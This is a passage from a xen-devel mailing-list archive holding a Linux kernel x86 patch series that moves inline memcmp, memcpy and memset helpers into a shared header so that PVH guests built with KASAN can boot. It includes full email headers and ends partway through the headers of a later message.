In-Reply-To: <20260701-pvh-kasan-inline-v6-0-ba99045dfa9f@igalia.com>
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-d25034/1782947641-0D128D51-30478BAA/0/0
X-purgate-type: clean
X-purgate-size: 2683

Move the inline memcmp function currently only available in 'boot/string.c'
into the shared string function header <asm/shared/string.h> to be reused.

This is not done through <asm/string.h> to avoid pulling unnecessary code
in 'boot/string.c' that causes build errors in 'boot/compressed/string.c'
and 'purgatory/purgatory.ro'.

Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>

---

Thanks to David Laight for noticing the return value difference between
inline and regular memcmp().
---
 arch/x86/boot/string.c               |  6 ++----
 arch/x86/include/asm/shared/string.h | 20 ++++++++++++++++++++
 arch/x86/include/asm/string.h        |  2 ++
 3 files changed, 24 insertions(+), 4 deletions(-)

diff --git a/arch/x86/boot/string.c b/arch/x86/boot/string.c
index ac0f900ebc47efa81c92e1bb2010ea41677899c4..be454a6864225f3a972c3e81826b77ed4e8a57fe 100644
--- a/arch/x86/boot/string.c
+++ b/arch/x86/boot/string.c
@@ -15,6 +15,7 @@
 #include <linux/errno.h>
 #include <linux/limits.h>
 #include <asm/asm.h>
+#include <asm/shared/string.h>
 #include "ctype.h"
 #include "string.h"
 
@@ -31,10 +32,7 @@
 
 int memcmp(const void *s1, const void *s2, size_t len)
 {
-	bool diff;
-	asm("repe cmpsb"
-	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
-	return diff;
+	return __inline_memcmp(s1, s2, len);
 }
 
 /*
diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
new file mode 100644
index 0000000000000000000000000000000000000000..02b92927553f7b8e1c87e6122bbaa70439e57ea7
--- /dev/null
+++ b/arch/x86/include/asm/shared/string.h
@@ -0,0 +1,20 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _ASM_X86_SHARED_STRING_H
+#define _ASM_X86_SHARED_STRING_H
+
+/*
+ * This inline memcmp() returns 0 (equal) or 1 (not equal).
+ * The regular memcmp() returns <0 (less than), 0 (equal), or >0 (greater than)
+ * to indicate ordering as well.
+ */
+static __always_inline int __inline_memcmp(const void *s1, const void *s2, size_t len)
+{
+	bool diff;
+
+	asm("repe cmpsb"
+	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
+
+	return diff;
+}
+
+#endif /* _ASM_X86_SHARED_STRING_H */
diff --git a/arch/x86/include/asm/string.h b/arch/x86/include/asm/string.h
index 9cb5aae7fba9ffcf0f5af8f939d30467750ccaa9..8d271a451721d97f78a84009613381414f91f2a6 100644
--- a/arch/x86/include/asm/string.h
+++ b/arch/x86/include/asm/string.h
@@ -8,6 +8,8 @@
 # include <asm/string_64.h>
 #endif
 
+#include <asm/shared/string.h>
+
 static __always_inline void *__inline_memcpy(void *to, const void *from, size_t len)
 {
 	void *ret = to;

-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 23:14:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 23:14:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351038.1608393 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf48A-00036b-3H; Wed, 01 Jul 2026 23:14:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351038.1608393; Wed, 01 Jul 2026 23:14:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf489-00036G-Vf; Wed, 01 Jul 2026 23:14:09 +0000
Received: by outflank-mailman (input) for mailman id 1351038;
 Wed, 01 Jul 2026 23:14:08 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wf488-00035C-MA
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 23:14:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf488-00C8tC-37
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 01:14:08 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a459f3d-bab6-0a2a0a5309dd-0a2a4508e37a-4
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 01:14:08 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a459f3f-edec-0a2a45080019-d561b338e1da-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 01:14:07 +0200
Received: from 186-249-148-121.shared.desktop.com.br ([186.249.148.121]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wf486-007mwb-7X; Thu, 02 Jul 2026 01:14:06 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:In-Reply-To:References:Message-Id:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From:Sender:
	Reply-To:Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender
	:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:
	List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=H2GAc7mtrFpKl87p+adcJZhrkVbc1evwDywNzt1ulrU=; b=XF50oGI0B1AVA0SygXsrbkAJWO
	MPzZrCGnsc/X6R8NUQ+rMJcfIphLSA+9BgtQUxVku1RqpDCKHq2aRByKjxjXSdH4ZnQZOhclsCQDd
	GWMzKLslUvsUcv1b4SSD77qASJJZ89bR5R0re7Xw7wARnZdAp22rcLDA8uCs+WoerdE7pYTGX6uzT
	8pWn5T7OXnOYqZRP3jn1Lnl8hlXPjsGgF2idGEfVFVlMQUyTrsTg1iy112bvUnrC4S1gWOMHlp8Qy
	2Ys8KsaGnKCxln7TSjNCrYXzyCLaSP7HY6fJS2Hr9U8NUiFfoGtSKNmQ2cc0H5BhGrhv6iu0hrPft
	74vVrLig==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Date: Wed, 01 Jul 2026 20:13:52 -0300
Subject: [PATCH v6 3/4] x86/cpuid: fix unbootable VMs by really inlining
 memcmp() in hypervisor_cpuid_base()
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260701-pvh-kasan-inline-v6-3-ba99045dfa9f@igalia.com>
References: <20260701-pvh-kasan-inline-v6-0-ba99045dfa9f@igalia.com>
In-Reply-To: <20260701-pvh-kasan-inline-v6-0-ba99045dfa9f@igalia.com>
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-c1860d/1782947647-4253F3FC-93952711/0/0
X-purgate-type: clean
X-purgate-size: 1458

Even with __builtin the compiler may decide to use the out of line function
instead of the inline implementation.

The existing code is broken with gcc-14/15 but not gcc-12/13 (Ubuntu 25.10)
and vmlinux no longer boots with CONFIG_PVH if CONFIG_KASAN_GENERIC is set.

For testing purposes, if the size argument is reduced from 12 to 8 then the
compiler decides to use the inline implementation; that shows results vary.

Switch the builtin to the inline implementation to address it.

Fixes: 416a33c9afce ("x86/cpu: fix unbootable VMs by inlining memcmp() in hypervisor_cpuid_base()")
Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
Reviewed-by: Juergen Gross <jgross@suse.com>
---
 arch/x86/include/asm/cpuid/api.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/x86/include/asm/cpuid/api.h b/arch/x86/include/asm/cpuid/api.h
index 82eddfa2347b32b76c2ea9b85f005ca5416ac71f..2d9f3d4d63de6e721f275d9e80d372edbdfedf30 100644
--- a/arch/x86/include/asm/cpuid/api.h
+++ b/arch/x86/include/asm/cpuid/api.h
@@ -204,7 +204,7 @@ static inline u32 cpuid_base_hypervisor(const char *sig, u32 leaves)
 		 * from PVH early boot code before instrumentation is set up
 		 * and memcmp() itself may be instrumented.
 		 */
-		if (!__builtin_memcmp(sig, signature, 12) &&
+		if (!__inline_memcmp(sig, signature, 12) &&
 		    (leaves == 0 || ((eax - base) >= leaves)))
 			return base;
 	}

-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 23:14:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 23:14:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351037.1608381 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf486-0002gp-PT; Wed, 01 Jul 2026 23:14:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351037.1608381; Wed, 01 Jul 2026 23:14:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf486-0002gO-Ia; Wed, 01 Jul 2026 23:14:06 +0000
Received: by outflank-mailman (input) for mailman id 1351037;
 Wed, 01 Jul 2026 23:14:05 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wf485-0002Qt-6M
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 23:14:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf484-005FMV-IP
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 01:14:04 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a459ef7-2eae-0a2a0a5409dd-0a2a450beb0c-40
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 01:14:04 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a459f3b-ac48-0a2a450b0019-d561b338e314-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 01:14:04 +0200
Received: from 186-249-148-121.shared.desktop.com.br ([186.249.148.121]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wf482-007mwb-O5; Thu, 02 Jul 2026 01:14:02 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:In-Reply-To:References:Message-Id:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From:Sender:
	Reply-To:Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender
	:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:
	List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=p4ShPqNeNQJKvlIwXNQ/fHjMA+LLf6yrUxJsYTGqlvs=; b=PFNIyg8zGPfpmeT3OlZRDqCu3Y
	AAwjKZUy2MOLiMdV2AK7morDG9ed4p2FSwTQfDqi5BThXkqoLXG10hAzPoL8yLQwLUt/4432hZzhd
	Qh+zIsjlOcjK+V+cHNddjntdiKyGGhowJzTp1rOGDKLsg3k9jTzAfrLZ3p5fG8LTEWmX2M100YRcp
	sISsBgeikL7ZLhNgHi0O1PInn5cja+7QvmkBPAyHuNTU3yw4mhVM9w59vN0eGENOy6reUiQEwIyhi
	yY/leJ/Zx+5lKKGadKxxFoyMPFlIBzyR0BxCgCqTPOq99TkdY7zjBCpV013tbhvB05dWAmxkFTmCH
	qxa5wC+Q==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Date: Wed, 01 Jul 2026 20:13:51 -0300
Subject: [PATCH v6 2/4] x86/asm: group inline string functions
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260701-pvh-kasan-inline-v6-2-ba99045dfa9f@igalia.com>
References: <20260701-pvh-kasan-inline-v6-0-ba99045dfa9f@igalia.com>
In-Reply-To: <20260701-pvh-kasan-inline-v6-0-ba99045dfa9f@igalia.com>
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-42698a/1782947644-39D27220-FBAEA943/0/0
X-purgate-type: clean
X-purgate-size: 2391

Group the __inline string functions in the same header.

Use <asm/shared/string.h> since __inline_memcmp() must remain there for use
by arch/x86/boot/string.c.

Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
---
 arch/x86/include/asm/shared/string.h | 26 ++++++++++++++++++++++++++
 arch/x86/include/asm/string.h        | 21 ---------------------
 2 files changed, 26 insertions(+), 21 deletions(-)

diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
index 02b92927553f7b8e1c87e6122bbaa70439e57ea7..b1b9c93f90685c8ec4174ef9e24bc7a0e6ba9b8a 100644
--- a/arch/x86/include/asm/shared/string.h
+++ b/arch/x86/include/asm/shared/string.h
@@ -2,6 +2,32 @@
 #ifndef _ASM_X86_SHARED_STRING_H
 #define _ASM_X86_SHARED_STRING_H
 
+/*
+ * The __inline string functions are grouped in this file for consistency and
+ * for use by arch/x86/boot code due to limitations on including asm/string.h.
+ */
+
+static __always_inline void *__inline_memcpy(void *to, const void *from, size_t len)
+{
+	void *ret = to;
+
+	asm volatile("rep movsb"
+		     : "+D" (to), "+S" (from), "+c" (len)
+		     : : "memory");
+	return ret;
+}
+
+static __always_inline void *__inline_memset(void *s, int v, size_t n)
+{
+	void *ret = s;
+
+	asm volatile("rep stosb"
+		     : "+D" (s), "+c" (n)
+		     : "a" ((uint8_t)v)
+		     : "memory");
+	return ret;
+}
+
 /*
  * This inline memcmp() returns 0 (equal) or 1 (not equal).
  * The regular memcmp() returns <0 (less than), 0 (equal), or >0 (greater than)
diff --git a/arch/x86/include/asm/string.h b/arch/x86/include/asm/string.h
index 8d271a451721d97f78a84009613381414f91f2a6..dbf59f0d4cca71e2ddce0d8764aeec8782236669 100644
--- a/arch/x86/include/asm/string.h
+++ b/arch/x86/include/asm/string.h
@@ -10,25 +10,4 @@
 
 #include <asm/shared/string.h>
 
-static __always_inline void *__inline_memcpy(void *to, const void *from, size_t len)
-{
-	void *ret = to;
-
-	asm volatile("rep movsb"
-		     : "+D" (to), "+S" (from), "+c" (len)
-		     : : "memory");
-	return ret;
-}
-
-static __always_inline void *__inline_memset(void *s, int v, size_t n)
-{
-	void *ret = s;
-
-	asm volatile("rep stosb"
-		     : "+D" (s), "+c" (n)
-		     : "a" ((uint8_t)v)
-		     : "memory");
-	return ret;
-}
-
 #endif /* _ASM_X86_STRING_H */

-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 23:14:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 23:14:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351039.1608401 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf48D-0003OJ-8q; Wed, 01 Jul 2026 23:14:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351039.1608401; Wed, 01 Jul 2026 23:14:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf48D-0003OA-5k; Wed, 01 Jul 2026 23:14:13 +0000
Received: by outflank-mailman (input) for mailman id 1351039;
 Wed, 01 Jul 2026 23:14:12 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wf48C-0003Ml-3z
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 23:14:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf48B-005FMV-H8
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 01:14:11 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a459f3b-2eae-0a2a0a5409dd-0a2a450cd312-8
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 01:14:11 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a459f42-f399-0a2a450c0019-d561b338ddee-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 01:14:11 +0200
Received: from 186-249-148-121.shared.desktop.com.br ([186.249.148.121]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wf489-007mwb-Nz; Thu, 02 Jul 2026 01:14:09 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:In-Reply-To:References:Message-Id:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From:Sender:
	Reply-To:Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender
	:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:
	List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=zBAAE6UPiVcuOT4Hdx5zYoG+Uei+rPkEJSxQ4+nbtAc=; b=LyfYNQL68YUxAdNm6mXIXLHXvL
	SvZnmfL85NGTH+8BXQ9g1x52pAVD3REn6kbl/gLxrAa9MzZfNFdaQE/4w2v7l+TxDwVIQWG4xsmW/
	7yx1UeqoPM4ju5/4ZCtDx2Bb1QeeBGmPO3a0aVPJ/vmnigebk7s8GJZj8nYkpsWtceICos7DfQlF4
	1et53Ds5nmFdXeP2g5X25cyfdWmPt5dSX69y9piQDvvUMhXbAXLH8M6aGpDCpDrQrJb6NhOFyUKxY
	7wOkHJKIhpPAwQElHU8EL+N7D4C4QAXIWyWkPXgyLTUZCRThdOiWztw7RXThIUhUmIoS3O7CSTZCL
	UlaFgGaw==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Date: Wed, 01 Jul 2026 20:13:53 -0300
Subject: [PATCH v6 4/4] x86/pvh: fix unbootable VMs by really inlining
 memset() in xen_prepare_pvh()
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260701-pvh-kasan-inline-v6-4-ba99045dfa9f@igalia.com>
References: <20260701-pvh-kasan-inline-v6-0-ba99045dfa9f@igalia.com>
In-Reply-To: <20260701-pvh-kasan-inline-v6-0-ba99045dfa9f@igalia.com>
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-d25034/1782947651-93138D51-D82128A4/0/0
X-purgate-type: clean
X-purgate-size: 1416

Even with __builtin the compiler may decide to use the out of line function
instead of the inline implementation.

This particular one (still) generated the inline implementation as expected
(at least in these compiler versions) but this is not guaranteed to remain.

Switch the builtin to the inline implementation to address it.

Fixes: fbe5a6dfe492 ("xen, pvh: fix unbootable VMs by inlining memset() in xen_prepare_pvh()")
Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
Reviewed-by: Juergen Gross <jgross@suse.com>
---
 arch/x86/platform/pvh/enlighten.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/arch/x86/platform/pvh/enlighten.c b/arch/x86/platform/pvh/enlighten.c
index f2053cbe9b0ce3d2178938269607c652ae8f528e..cb442cbd9d828619421babb281bfe9759edbca8a 100644
--- a/arch/x86/platform/pvh/enlighten.c
+++ b/arch/x86/platform/pvh/enlighten.c
@@ -8,6 +8,7 @@
 #include <asm/hypervisor.h>
 #include <asm/e820/api.h>
 #include <asm/x86_init.h>
+#include <asm/string.h>
 
 #include <asm/xen/interface.h>
 
@@ -129,7 +130,7 @@ void __init xen_prepare_pvh(void)
 	 * This must not compile to "call memset" because memset() may be
 	 * instrumented.
 	 */
-	__builtin_memset(&pvh_bootparams, 0, sizeof(pvh_bootparams));
+	__inline_memset(&pvh_bootparams, 0, sizeof(pvh_bootparams));
 
 	hypervisor_specific_init(xen_guest);
 

-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 02:14:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 02:14:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351133.1608411 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf6wl-0003Zr-Tr; Thu, 02 Jul 2026 02:14:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351133.1608411; Thu, 02 Jul 2026 02:14:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf6wl-0003Zj-Pz; Thu, 02 Jul 2026 02:14:35 +0000
Received: by outflank-mailman (input) for mailman id 1351133;
 Thu, 02 Jul 2026 02:14:33 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <takakura@valinux.co.jp>) id 1wf6wi-0003Zb-Dy
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 02:14:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf6wh-005aXr-NR
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 04:14:31 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <takakura@valinux.co.jp>)
 id 6a45c96b-bab6-0a2a0a5309dd-0a2a4506d3d6-6
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 04:14:30 +0200
Received: from [40.107.74.117]
 (helo=OS0P286CU010.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <takakura@valinux.co.jp>)
 id 6a45c983-08de-0a2a45060019-286b4a752b29-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 04:14:30 +0200
Received: from TYWP286MB2938.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:29e::6)
 by OS9P286MB4880.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:2be::11) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Thu, 2 Jul
 2026 02:14:23 +0000
Received: from TYWP286MB2938.JPNP286.PROD.OUTLOOK.COM
 ([fe80::939a:c9f7:3b72:1ed5]) by TYWP286MB2938.JPNP286.PROD.OUTLOOK.COM
 ([fe80::939a:c9f7:3b72:1ed5%5]) with mapi id 15.21.0181.009; Thu, 2 Jul 2026
 02:14:22 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-Id:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
